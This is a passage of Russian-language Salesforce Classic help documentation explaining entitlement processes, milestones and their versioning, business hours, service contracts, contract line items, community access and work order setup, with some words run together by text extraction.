предупреждения

Создать сообщение эл.
почты

обращение, если
возможно нарушение
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ПримерВыполняемые функцииДействие бизнес-правила

контрольной точки «Первый ответ»
по их обращению.

Обновление поля обращения
«Приоритет» назначение «Высокий»,

Определение обновления поляСоздать обновление поля

если возможно нарушение
контрольной точки «Первый ответ».

Отправка сведений о функциях или
услугах во внешнюю систему после

ОпределениеисходящегосообщенияСоздать исходящее сообщение

успешного завершения действия по
контрольной точке «Первый ответ».

Использование текущего
электронного предупреждения для

Выбор текущего действияВыбрать текущее действие

уведомления ответственного за
обращение, если обращение близко
к нарушению правила отправки
первого ответа.

Прим.: Инициируемыеповременидействиявыполняютсятольковчасыработыорганизации. Каждыйтипдействия
контрольной точки позволяет добавлять не более 10 действий и 10 триггеров времени.

СМ. ТАКЖЕ:

Действия контрольных точек

Применение процесса права к праву

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения прав:
• «Редактирование» для

прав

Процесс права создан, теперь пора его применить! Применяйте процесс права к праву
клиентатак, чтобывсеобращения, созданныенаосновеправа, использовалиэтотпроцесс.

1. Откройте страницу права.

2. Выберите процесс, который следует применить, в поле поиска «Процесс права».

3. Нажмите кнопку «Сохранить».

Совет: Еслишаблоныправанастроены, можносвязатьпроцессправа сшаблоном
так, что все права, созданные посредством этого шаблона, будут автоматически
использовать определенный процесс.

СМ. ТАКЖЕ:

Движение обращения по процессу назначения права
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Движение обращения по процессу назначения права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Если процесс права применяется к праву, все обращения, связанные с данным правом,
проходят через процесс права. Далее представлены сведения о том, как обращения
проходят процесс права.

1. Агентслужбыподдержкисвязалобращениесправом, которомусоответствуетпроцесс
права. Для выполнения этого действия можно использовать один из следующих
методов.

• Агент службыподдержкисоздаетобращениеиз связанногосписка «Обращения»
для права.

• Агент службы поддержки создает обращение, затем посредством поля поиска
«Право» для обращения выбирает соответствующее право.

2. Обращение входит в процесс права на основе даты создания или настраиваемого
полядаты/времени. Настраиваемоеполедаты/временипозволяетпользователямредактироватьдатуинициирования
обращения при его входе в процесс.

3. Система Salesforce назначает обращению контрольные точки с совпадающими критериями. Например, при
использовании критерия контрольной точки «"Приоритет" равно "Высокий"», а также значения «Высокий» в поле
«Приоритет» обращения система Salesforce назначает обращению контрольную точку с критерием «"Приоритет"
равно "Высокий"». Одновременнообращениесвязывается только соднойконтрольнойточкой. Померепрохождения
процесса обращение связывается с несколькими контрольными точками.

4. Действия контрольной точки определяют время и условия выполнения действий предупреждения, нарушения или
успешного завершения для конкретного обращения.

5. Агент службы поддержки обновляет обращение для завершения действия контрольной точки.

6. Обновленное обращение повторно проходит процесс права и инициирует любые соответствующие контрольные
точки.

7. Обращение выходит из процесса на основе настраиваемых критериев или при закрытии.

Чтобыпросмотретьобращениясназначеннымиправами, создайтесписковыепредставленияобращений, отфильтрованные
по полям процесса права.

Важное замечание: При выходе обращения из процесса права не происходит автоматического обозначения
контрольных точек как выполненных. Сведения о том, как написать триггер Apex для автоматического выполнения
контрольных точек, соответствующих уникальным критериям, см. в разделе «Автоматическое выполнение
контрольных точек обращения».

СМ. ТАКЖЕ:

Настройка прав

Контрольный список для настройки функций управления правами
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Отчет по правам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов по
управлению правами:
• «Управление типами

настраиваемых отчетов»

Для создания и выполнения
отчетов на основе типов
настраиваемых отчетов по
управлению правами:
• «Создание и настройка

отчетов»

Типынастраиваемыхотчетовпозволяютопределятькритерииотчета, поддерживающие
запуск и создание отчетов по правам, сервисным контрактам и элементам строки
контракта.

Ниже перечислены типы настраиваемых отчетов, доступ к которым автоматически
получает организация после настройки функции управления правами.

Область типа отчетаОписаниеТип настраиваемого
отчета

Организации и контактыДанный тип отчета
составляет список
организаций с правами,
содержащими контакты
(названные операторы).

Организации с правами и
контактами

ОтчетыслужбыподдержкиДанный тип отчета
составляет список
сервисных контрактов с
элементами строки
контракта (продуктами).

Сервисные контракты с
элементами строки
контракта

ОтчетыслужбыподдержкиДанный тип отчета
составляет список
сервисных контрактов с
правами.

Сервисные контракты с
правами

ОтчетыслужбыподдержкиДанный тип отчета
составляет список
обращений с
контрольными точками.

Обращения с
контрольными точками

Прим.: Отчет
данного типа не
подлежитнастройке.

Чтобы настроить типы настраиваемых отчетов по управлению правами, выполните следующие действия.

1. В разделе «Настройка» введите «Типы отчетов» в поле «Быстрый поиск», затем выберите «Типы отчетов».

2. Ниже перечислены действия, доступные на странице «Все типы настраиваемых отчетов».

• Создайте тип настраиваемого отчета. Выбор прав в качестве основного объекта невозможен.

• Обновите следующие параметры: имя типа настраиваемого отчета, категория типа отчета, статус развертывания.

• Удалите тип настраиваемого отчета.
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Важное замечание: При удалении типа настраиваемого отчета все данные, сохраняемые для типа
настраиваемого отчета, удаляются и не подлежат восстановлению из корзины.

СМ. ТАКЖЕ:

Настройка прав

Настройка сервисных контрактов

Действие параметра «Часы работы» в управлении правами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Вслучаеобращенийсправамимогутиспользоватьсяразныечасыработыдляобращения,
контрольных точек, процесса права и самого права. В данном разделе представлена
информация о том, как система Salesforce реализует часы работы в таких ситуациях.

Часы работы для обращений с процессами права применяются в соответствии с
иерархией. Система Salesforce использует часы работы, заданные на высшем уровне.

Таким образом, часы работы по контрольной точке переопределяют часы работы по
процессуправа, которые, в своюочередь, переопределяютчасыработыпообращению.
Если часы работы по контрольной точке не установлены, используются часы работы
по процессу права. Если не установлены часы работы ни по контрольной точке, ни по
процессу права, используются часы работы по обращению.

Кроме того, пользователь может устанавливать часы работы по правам. Если создается
обращение на основе права, оно наследует часы работы по праву. Однако если право
являетсячастьюпроцессаправа, рекомендуетсяоставитьнезаполненнымполечасовработыпоправу, посколькусвязанные
обращения будут автоматически использовать часы работы по процессу права.

Воспользуйтесь следующими рекомендациями для настройки часов работы.

• Чтобыиспользоватьодинитотжепроцессправадляобращенийсразнымичасамиработы, определяйтечасыработы
на уровне процесса права. Предположим, что определены следующие часы работы по процессу права: с 9 до 17 в
рабочие дни. Если клиент требует, чтобы его обращение обновлялось вечером и в выходные дни, можно создать
контрольную точку «Обновление клиента» с собственными часами работы в режиме 24/7.

• Чтобы использовать разные часы работы для разных уровней серьезности, определяйте часы работы на уровне
контрольнойточки. Например, если уровень серьезностиобращения возрастает, возможно, потребуетсяобращаться
кклиентучаще. Можносоздатьконтрольнуюточку «Последнийконтакт», котораяизменяетчасыработывсоответствии
с уровнем серьезности. При этом другие контрольные точки в процессе права (например, контрольная точка
«Начальный контакт») остаются неизменными.

СМ. ТАКЖЕ:

Настройка процесса права
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Обновление процесса права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Функция управления версиями права позволяет создавать несколько версий процесса
права даже в том случае, если процесс назначен активным правам и обращениям.

Контроль версий прав следует использовать в следующих случаях:

• вам требуется создать несколько версий процесса права с некоторыми различиями;

• вам необходимо обновить процесс права так, чтобы в нем отражались изменения в
ваших бизнес-процессах;

вы можете обнаружить, что процесс права должен обновляться посезонно или что
необходимо выполнить откат до предыдущей версии.

Прим.: Чтобы создать несколько версий процессов права, необходимо включить
контроль версий прав в вашей организации. На странице «Параметры права» в
меню «Настройка» выберитепункт «Включитьфункциюуправленияверсиями
права».

При создании версий процессов прав с одним и тем же именем номер версии и
примечания помогают отличать одну версию от другой. Система Salesforce не
допускает отключения функции управления версиями права, поэтому всегда
известен текущий вариант версии.

Ниже перечислены сведения, которые могут быть изменены при создании новой версии процесса права.

• Имя

• Описание

• Активность процесса

• Использование версии по умолчанию

• Критерии входа

• Критерии выхода

Принеобходимостидобавьтепримечанияк версии. Примечанияпозволяютразличать версииодногоитогожепроцесса,
использующие одинаковые имена.

Новыеверсиииспользуемыхпроцессовправаподдерживаютдобавлениеновыхконтрольныхточек, нонеподдерживают
редактирование текущих контрольных точек. Новые версии неиспользуемых процессов поддерживают добавление
новых контрольных точек и редактирование текущих контрольных точек.

Новая версия процесса права может быть применена ко всем правам и обращениям, назначенным предыдущей версии,
или только к новым правам и обращениям.

СМ. ТАКЖЕ:

Создание версии процесса права

Использование новой версии процесса права
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Создание версии процесса права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и обновления
процессов права:
• «Управление правами»

Функция управления версиями права позволяет создавать несколько версий процесса
права даже в том случае, если процесс назначен активным правам и обращениям. В
организации можно одновременно использовать несколько версий процесса права.

Прим.: Чтобы создать несколько версий процессов права, следует включить
функцию управления версиями права в организации. На странице «Параметры
права» в меню «Настройка» выберите пункт «Включитьфункцию управления
версиями права».

Еслисоздаютсяверсиипроцессовправасодинаковымименем, ихможноразличить
с помощью номера версии и примечаний. Система Salesforce не допускает
отключенияфункцииуправленияверсиямиправа, поэтомувсегдаизвестентекущий
вариант версии.

1. Введите строку «Процессы права» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Процессы права».

2. Щелкните имя нужного процесса права.

3. Щелкните версию нужного процесса в списке «Версии процесса права».

4. Нажмите кнопку «Создать версию» на странице «Сведения о процессе права».

5. Введите сведения о новой версии. Выполните следующие рекомендации.

• Рекомендуем заполнить поле «Примечания к версии» сведениями, позволяющими различать создаваемые
версии. Примечания позволяют различать версии одного и того же процесса права.

• Не изменяйте имя.

• Нажмите кнопку «Активно», чтобы использовать новую версию.

• Нажмите кнопку «По умолчанию», если требуется использовать новую версию как стандартную версию для
процесса. Это действие упрощает поиск с использованием полей.

6. Нажмите кнопку «Сохранить».
При необходимости можно изменить контрольные точки процесса права после сохранения.

Важное замечание: Новыеверсиииспользуемыхпроцессовправаподдерживаютдобавлениеновыхконтрольных
точек, но не поддерживают редактирование текущих контрольных точек. Новые версии неиспользуемых
процессовподдерживаютдобавлениеновыхконтрольныхточекиредактированиетекущихконтрольныхточек.

При создании новой версии процесса права не происходит ее автоматическое применение к правам, использующим
предыдущую версию. Сведения о применении новой версии процесса права к текущим и новым правам см. в разделе
«Использование новой версии процесса права».

СМ. ТАКЖЕ:

Обновление процесса права
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Использование новой версии процесса права

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и обновления
процессов права:
• «Управление правами»

Новая версия процесса права может быть применена ко всем правам, назначенным
предыдущей версии, или только к новым правам. Если процесс права применяется к
праву, он также применяется к обращениям, связанным с этим правом.

Прим.: Чтобы создать несколько версий процессов права, следует включить
функцию управления версиями права в организации. На странице «Параметры
права» в меню «Настройка» выберите пункт «Включитьфункцию управления
версиями права».

Еслисоздаютсяверсиипроцессовправасодинаковымименем, ихможноразличить
с помощью номера версии и примечаний. Система Salesforce не допускает
отключенияфункцииуправленияверсиямиправа, поэтомувсегдаизвестентекущий
вариант версии.

Применение процесса права к новому праву

Сценарий: Пользователь создает новое право и хочет применить к нему определенную
версию процесса права.

1. Выберите требуемый процесс в поле поиска «Процесс права» для права.

Совет: Посленажатия значкапоискавполе «Процессправа» выберите «Всеверсии»
в диалоговом окне поиска. В ином случае можно выбирать только стандартные
версии текущих процессов права.

Применение процесса права к текущему праву

Сценарий: Пользователь создал новую версию процесса права. Требуется переключить все права, использовавшие
предыдущую версию, на использование новой версии.

1. Введите строку «Процессы права» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Процессы
права».

2. Щелкните имя нужного процесса права.
Страница «Процессы права» содержит список стандартных версий каждого процесса. Чтобы просмотреть список
всех доступных версий, щелкните имя нужного процесса.

3. Настранице сведенийопроцессеправащелкнитеимяновойверсии, которуютребуетсяприменить к текущимправам
(и, по умолчанию, к обращениям, связанным с этими правами).

4. Нажмите кнопку «Создать правило обновления».

5. Выберите нужную версию процесса права.
При необходимости выберите любую другую активную или неактивную версию процесса.

6. Обновление права до новой версии может инициировать активацию предупреждений и нарушений контрольных
точекдляобращений, связанныхсданнымправом. Этозависитотразличиймеждуновойистаройверсиямипроцесса
права. Чтобыпредотвратитьактивациютакихпредупрежденийинарушений, установитефлажок «Неинициировать
новые предупреждения и нарушения контрольных точек». Рекомендуем использовать этот параметр, чтобы
предотвратить активацию предупреждений о нарушениях для старых прав и обращений.

7. Нажмите кнопку «Сохранить».
Страница сведенийоправилеобновленияотображаетприблизительноеколичествоправиобращений, подлежащих
обновлению для использования нового процесса.

8. Чтобы начать процесс обновления, нажмите кнопку «Начать».
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В большинстве случаев процесс обновления выполняется в течение одного часа, однако это зависит от количества прав
и обращений, подлежащих обновлению. По мере обновления страница сведений о правиле обновления отображает
количество обработанных прав и обращений. Чтобы остановить обновление, нажмите кнопку «Остановить».

СМ. ТАКЖЕ:

Настройка процесса права

Обновление процесса права

Создание версии процесса права

Настройка сервисных контрактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки сервисных
контрактов:
• «Управление правами»

И

«Настройка
приложения»

Сервисный контракт — это соглашение между пользователем и его клиентами на
предоставление определенного уровня обслуживания. Сервисные контракты могут
определять разные способы поддержки клиентов (например, гарантии, подписки или
соглашения об уровне обслуживания).

Прим.: Чтобы настроить сервисные контракты, в организации необходимо
включить права.

С помощью параметров управления объектами для сервисных контрактов выполните
следующие действия.

1. Настройте поля сервисных контрактов.

Это позволяет управлять тем, какие сведения пользователи добавляют в сервисные
контракты. Вы можете создать настраиваемые поля сервисного контракта, которые
тесно связаны с вашей отраслью или с процессом поддержки.

2. Настройте макеты страниц сервисных контрактов.

Этопозволяет вамуказать, какиеполяисвязанныеспискибудут видныпользователям
всервисномконтракте. Рассмотритевозможностьдобавленияполя «Значок статуса»,
чтобыпользователимогливидеть, активенсервисныйконтракт, илиегосрокдействия
закончен, или он неактивен.

3. Настройте параметры безопасности поля для полей сервисных контрактов.

Данное действие позволяет выбирать поля сервисных контрактов, которые должны
быть доступны пользователям.

4. Настройтефункцию отслеживанияжурнала поля для сервисных контрактов.

Данное действие позволяет просматривать время изменения значений полей. Сведения об изменениях помещаются
в связанный списокЖурнал сервисного контракта для сервисных контрактов. Из раздела параметров управления
объектомдлясервисныхконтрактовперейдитевразделполейищелкните«Установитьотслеживаниесжурналом».

5. Сделайте вкладку «Сервисные контракты» видимой в Salesforce и в любых настраиваемых приложениях.

Вкладка «Сервисные контракты» предназначена для того, чтобы пользователи могли создавать и редактировать
сервисные контракты и элементы строки контракта. Добавьте эту вкладку в приложение или дайте пользователям
инструкции по ее добавлению в набор вкладок Salesforce. Пользователям необходимо разрешение «Чтение» для
сервисных контрактов, которые будут отображаться на вкладке «Сервисные контракты».

6. Добавьте связанный список «Сервисные контракты» в макеты страниц организаций и контактов.
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Данное действие позволяет пользователям создавать, обновлять и проверять сервисные контракты на страницах
организаций и контактов.

СМ. ТАКЖЕ:

Контрольный список для настройки функций управления правами

Настройка элементов строки контракта

Настройка элементов строки контракта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки сервисных
контрактов и элементов
строки контракта с правами:
• «Управление правами»

И

«Настройка
приложения»

Настройкаэлементовстрокиконтрактадлятого, чтобыполучитьвозможностьуказывать,
на какие продукты распространяются услуги, оговоренные в сервисном контракте.
Элементыстрокиконтрактаотображаются тольков связанномсписке «Элементыстроки
контракта» для сервисных контрактов (не для контрактов). Элементы строки контракта
доступны пользователям только в том случае, если организация использует продукты.

Прим.: Чтобы настроить элементы строки контракта, в организации необходимо
включить права.

В параметрах управления объектом для элементов строки контракта выполните
следующие действия.

1. Настройте поля элемента строки контракта.

Это позволяет управлять тем, какие сведения пользователи добавляют в элементы
строкиконтракта. Выможете создатьнастраиваемыеполя элемента строкиконтракта,
которые тесно связаны с вашей отраслью или с процессом поддержки.

2. Настройте макеты страниц элементов строки контракта.

Этопозволяет вамуказать, какиеполяисвязанныеспискибудут видныпользователям
в элементах строки контракта. Рассмотрите возможность добавления поля «Значок
статуса», чтобы пользователи могли видеть, активен элемент строки, или его срок
действия закончен, или он неактивен.

3. Настройте макеты страниц других объектов.

Этот раздел позволяет выбрать, как пользователи могут связывать элементы строки
контракта с другими записями. Рассмотрите возможность изменить следующие
настройки.

• (Обязательно) добавьте связанныйсписок «Элементыстрокиконтракта» вмакетыстраницысервисногоконтракта.
Данное действие позволяет пользователям создавать, редактировать и удалять элементы строки контракта на
страницах сервисных контрактов.

• Добавьте связанный список «Элементы строки контракта» в макеты актива. Это позволяет пользователям
просматривать и изменять связи между активами и элементами строки контракта.

• Добавьтеполепоиска «Элемент строки контракта» вмакетыстраницыправа. Этопозволятпользователямсвязать
элемент строки с конкретным правом.

4. Настройте параметры безопасности поля для элементов строки контракта.

Данноедействиепозволяетвыбиратьполяэлементовстрокиконтракта, которыедолжныбытьдоступныпользователям.

5. Настройтефункцию отслеживанияжурнала поля для элементов строки контракта.
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Данное действие позволяет просматривать время изменения значений полей. Изменения будут приведены в списке
«Журнализмененийэлемента строкиконтракта» для элементов строкиконтракта. Изразделапараметров управления
объектом для элементов строки контракта перейдите в раздел полей и щелкните «Установить отслеживание с
журналом».

Прим.: Расписаниянедоступныдля элементов строки контракта, поэтомупользователи сообществнеимеют кним
доступа.

СМ. ТАКЖЕ:

Контрольный список для настройки функций управления правами

Настройка функции управления правами в сообществах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Сообщества и управление
правами доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• Параметр «Создать и

настроить сообщества»
AND является членом
сообщества, которое
они обновляют

Для настройки функции
управления правами:
• «Управление правами»

Для назначения лицензий
пользователя:
• «Управление

внутренними
пользователями»

Добавьтефункциюуправленияправамиксообществам, чтобыпозволитьклиентамили
партнерампросматриватьсвоиправаисервисныеконтракты. Элементыстрокиконтракта
не отображаются в сообществах.

Чтобыоткрытьдоступкправами/илисервиснымконтрактамдлясообщества, выполните
следующие действия.

1. Обновите профили пользователей.

a. Клонируйте профили Customer Community User, Customer Community Plus User и
Partner Community User, предоставьте полномочие «Чтение» для прав и/или
сервисных контрактов.

Прим.: Нажмите кнопку «Редактировать профили» в нижней части
страницы сведений и активируйте новые профили.

b. При необходимости включите полномочия «Создание» и «Удаление» для
контактов права в профилях делегированных модераторов сообщества. Данное
действие позволяет модераторам обновлять контакты права.

c. Убедитесь, что для доступности вкладок «Права» и/или «Сервисные контракты»
задано значение «Включены стандартные параметры».

2. Добавьте вкладки «Права» и/или «Сервисные контракты» к сообществу.

3. Добавьте поле «Имя права» в макеты страниц обращения, назначенных
пользователям сообщества. Данное действие позволяет пользователям добавлять
права в обращения.

Прим.: Во избежание раскрытия информации, связанной с внутренними
процессами поддержки, рекомендуем не добавлять в макеты страниц для
пользователей сообщества следующие поля:

• Время начала процесса права

• Время окончания процесса права

• Остановлено

• Дата остановки
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4. При необходимости добавьте связанный список «Права» в макеты страниц организаций и контактов, назначенных
модераторамсообщества. Данноедействиепозволяетмодераторамсообщества создаватьобращения, автоматически
связываемые с корректными правами.

Что представляют собой заказы на работу?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Заказы на работу в Salesforce представляют собой задачу или набор задач, которые
необходимо выполнить для продукта, обычно в ходе выездной услуги. Вы можете
использоватьзаказынаработудляповышенияэффективностиотслеживанияремонтных
работ, стандартного технического обслуживания и другие типы услуг.

Заказы на работу могут быть связаны с организациями, активами, обращениями,
контактами, правами, контрактамина обслуживание и с другими заказами на работу. Вы
можете также создать настраиваемые связи между заказами на работу и другими
стандартными или настраиваемыми объектами.

Выможетепросматривать заказынаработунавкладке «Заказынаработу» иливсвязанном
списке «Заказы на работу» для поддерживаемых объектов. Вы можете также получать
доступ к заказам на работу через сервисную консоль и в мобильном приложении
обозревателя Salesforce1.

Рекомендуется добавлять элементы строки заказа на работу в заказы на работу для
предоставления сведений о работе, которую требуется выполнить. Элементы строки заказа на работу указывают на
конкретные задачи, которые необходимо выполнить, чтобы завершить заказ на работу. Они могут отмечаться как
завершенные по одному, что позволяет упростить задачу отслеживания и улучшения процессов, связанных с выездным
обслуживанием. Элементыстроки заказанаработуотображаются в связанномсписке «Элементыстроки заказанаработу».

Пример:

• Если клиент приобретает актив у вас и у него возникает неполадка с ним, вы можете создать заказ-наряд для
устранения неисправности актива.

• Если заказчик приобретает у вас актив и защищает его контрактом на профилактическое обслуживание, вы
можете создать заказ-наряд, который отражает необходимость в периодической проверке.

СМ. ТАКЖЕ:

Настройка заказов на работу

Рекомендации по использованию заказов на работу
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Настройка заказов на работу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Включение заказов на
работу.
• «Настройка

приложения»

Для редактированиямакетов
страниц:
• «Настройка

приложения»

Настройте заказы на работу в вашей организации, чтобы отслеживать действия,
выполняемые для тех или иных продуктов.

1. Включение заказов на работу.

a. Вразделе «Настройка» введите «Параметры заказов на работу» в поле «Быстрый
поиск», затем выберите «Параметры заказов на работу».

b. Щелкните «Включить».

2. Настройте макеты страниц.

a. Настройте поля, которые будут видны для пользователей в разделе макетов
страницы «Заказ на работу».

b. Чтобы разрешить пользователям привязывать заказы на работу к другим типам
записей, добавьте связанный список «Заказына работу» в макеты страниц других
объектов. В следующие макеты страниц для объектов можно включить этот
связанный список.

• Организация

• Актив

• Обращение

• Контакт

• Право

• Сервисный контракт

• Настраиваемые объекты

3. Назначьте пользователям необходимые разрешения.

Для следующих стандартных
профилей полномочия
настраиваются автоматически.

Необходимые полномочияПользователи, которым...

Системный администратор«Настройка приложения»Включение заказов на работу.

Только для чтения | Стандартный
пользователь | Менеджер решений |

«Чтение» для заказов на работуПросмотрвкладки «Заказынаработу»,
заказов на работу и элементов строки
заказа на работу. Менеджерконтрактов | Пользователь

Marketing | Системныйадминистратор

Стандартный пользователь |
Менеджер решений | Менеджер

«Создание» для заказов на работуСоздание или клонирование заказов
на работу.

контрактов | Пользователь Marketing
| Системный администратор

Стандартный пользователь |
Менеджер решений | Менеджер

«Редактирование» для заказов на
работу

Редактирование заказов на работу

контрактов | Пользователь Marketing
| Системный администратор

Системный администратор«Удаление» для заказов на работуУдаление заказов на работу
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Для следующих стандартных
профилей полномочия
настраиваются автоматически.

Необходимые полномочияПользователи, которым...

Стандартный пользователь |
Менеджер решений | Менеджер

«Редактирование» для заказов на
работу

Создание, редактированиеиудаление
элементов строки заказа на работу.

контрактов | Пользователь Marketing
| Системный администратор

4. Сделайте вкладку «Заказы на работу» доступной для пользователей.

Пользователи создаюти управляют заказаминаработуприпомощивкладки «Заказынаработу». Выможете добавить
вкладку внастраиваемоеприложениеилидатьпользователяминструкциипотому, как добавить ту вкладку в Salesforce.

Прим.: Вкладка «Заказы на работу» по умолчанию ВКЛЮЧЕНА для следующих профилей пользователей.
Только для чтения, Стандартный пользователь, Менеджер решений, Менеджер контрактов, Пользователь
Marketing и Системный администратор

5. Дополнительно добавьте заказы на работу в виде элемента вкладки «Навигация» через сервисную консоль.

СМ. ТАКЖЕ:

Включение заказов на работу в процесс поддержки

Образцы кода Apex для заказов на работу

Рекомендации по использованию заказов на работу

Рекомендации по использованию заказов на работу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для заказов на работуПросмотр вкладки «Заказы на работу»,
заказов на работу и элементов строки заказа
на работу

«Создание» для заказов на работуСоздание или клонирование заказов на
работу

«Редактирование» для заказов на работуРедактирование заказов на работу

«Удаление» для заказов на работуУдаление заказов на работу

«Редактирование» для заказов на работуСоздание, редактирование и удаление
элементов строки заказа на работу

Заказы на работу в Salesforce помогают отслеживать задачи, которые следует выполнить для того или иного продукта.
Ознакомьтесь с тем, как выполняются распространенные действия для заказов на работу.

Просмотр заказов на работу
Выможете просматривать заказы на работу на вкладке «Заказы на работу» или в связанном списке «Заказы на работу».

• Организации
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• Активы

• Обращения

• Контакты

• Права

• Сервисные контракты

Дляполучения списка заказов на работу, связанных с определенной записью, перейдите к связанному списку «Заказы
на работу» для соответствующей записи.

Совет: Если ваш администратор Salesforce настроил консоль так, что на ней отображаются заказы на работу,
щелкните вкладку «Консоль» для просмотра и редактирования заказов на работу и связанных с ними записей в
одном и том же окне.

Создание заказов на работу
Выможете создавать и редактировать заказы на работу на вкладке «Заказы на работу» или в связанном списке «Заказы
на работу» (для поддерживаемых объектов). В зависимости от настройки заказов на работу в организации этот
связанный список может быть недоступен для некоторых записей.

Совет: При создании заказа на работу добавьте в него элементы строки. Элементы строки заказа на работу
указывают на конкретные задачи, которые должен выполнить техник, чтобы завершить заказ на работу. Они
могут отмечаться как завершенные по одному, что позволяет упростить задачу отслеживания и улучшения
процессов, связанных с выездным обслуживанием. Кроме того, ценовые элементы, например скидки и цена за
единицу в заказах на работу, настраиваются на уровне элемента строки.

Удаление заказов на работу
Вы можете удалять заказы на работу на странице подробных сведений о заказе или в связанном списке «Заказы на
работу». При удалении заказа на работу он перемещается в корзину. Также удаляются любые заметки, вложения,
действияи элементыстроки, связанныес заказомнаработу. Привосстановлениизаказанаработуотменяется удаление
его связанных элементов.

Совместная работа с заказами на работу
Вы, возможно, сможетепредоставитьдополнительныйдоступк заказамнаработувнепределов, разрешенныхмоделью
общего доступа, принятой в вашей организации по умолчанию. Модель общего доступа определяет самый строгий
стандартный уровень, который может быть только расширен.

Чтобы узнать, у кого имеется доступ к заказу на работу, щелкнитеОбщий доступ на странице подробных сведений
о заказе на работу. При нажатии кнопкиОбщий доступ выполняется перенос на страницу подробных сведений об
общем доступе. На этой странице вы сможете:

• просматривать список лиц, у которых есть доступ к заказу на работу.

• ЩелкнитеДобавить, чтобы предоставить доступ к заказу на работу для других пользователей, групп, ролей или
территорий. Вы можете использовать совместный доступ к заказам на работу с пользователями, у которых есть
разрешение «Чтение» для заказов на работу.

• Создание, редактирование и удаление правил общего доступа, настроенных вручную

Элементы строки заказа на работу наследуют параметры совместного доступа родительского заказа на работу.

Как привязать заказ на работу к другой записи
Заказы на работу могут быть связаны с организациями, активами, обращениями, контактами, правами, контрактами
на обслуживание и с другими заказами на работу. Вы можете также создать настраиваемые связи между заказами на
работу и другими стандартными или настраиваемыми объектами.
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Включение заказов на работу в процесс поддержки
Заказынаработупредставляютсобойполезныйвспомогательныйинструмент, вособенностиесливашаорганизация
занимаются оказанием выездных услуг поддержки. Вы можете включать заказы на работы в процесс оказания услуг
технической поддержки различными способами.

Принципы вычисления цены для заказов на работу
Заказы на работу и элементы строки заказов на работу имеют несколько полей, связанных с ценообразованием.
Узнайте, как они взаимодействуют и как ими следует пользоваться.

Как привязать заказ на работу к другой записи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Заказы на работу могут быть связаны с организациями, активами, обращениями,
контактами, правами, контрактамина обслуживание и с другими заказами на работу. Вы
можете также создать настраиваемые связи между заказами на работу и другими
стандартными или настраиваемыми объектами.

Когда заказ связан с другой записью в Salesforce, он отображается в связанном списке
«Заказы на работу» для этой записи. Такая привязка упрощает отслеживание работы,
связанной с открытыми обращениями, контрактами на обслуживание и другими
элементами.

Вы можете связать заказ на работу с другой записью двумя способами.

• Создайте заказ на работу из связанного списка «Заказы на работу» на странице
подробных сведений о записи. Например, вы можете создать заказ на работу на
страницеподробныхсведенийоб активе так, чтобызаказнаработубыл связан с этим
активом.

• Создайте заказ на работу на вкладке «Заказы на работу» в представлении таблицы или списка, после чего добавьте к
нему запись, воспользовавшись полем поиска. Например, элементы «Актив», «Обращение», «Право» и «Контракт на
оказание услуги» являются стандартными полями поиска для заказов на работу.

Неуверены, как связывать заказ на работу с другой записьюистоитли вообще это делать? Следуйте этимрекомендациям.

• Если заказ на работу связан с определеннымактивом, привяжите заказ на работу к активу в Salesforce, чтобы упростить
отслеживание хода работы.

• Вслучаеоткрытияобращенияиз-завозникновенияуклиентапроблемстемилиинымактивомвамможетпотребоваться
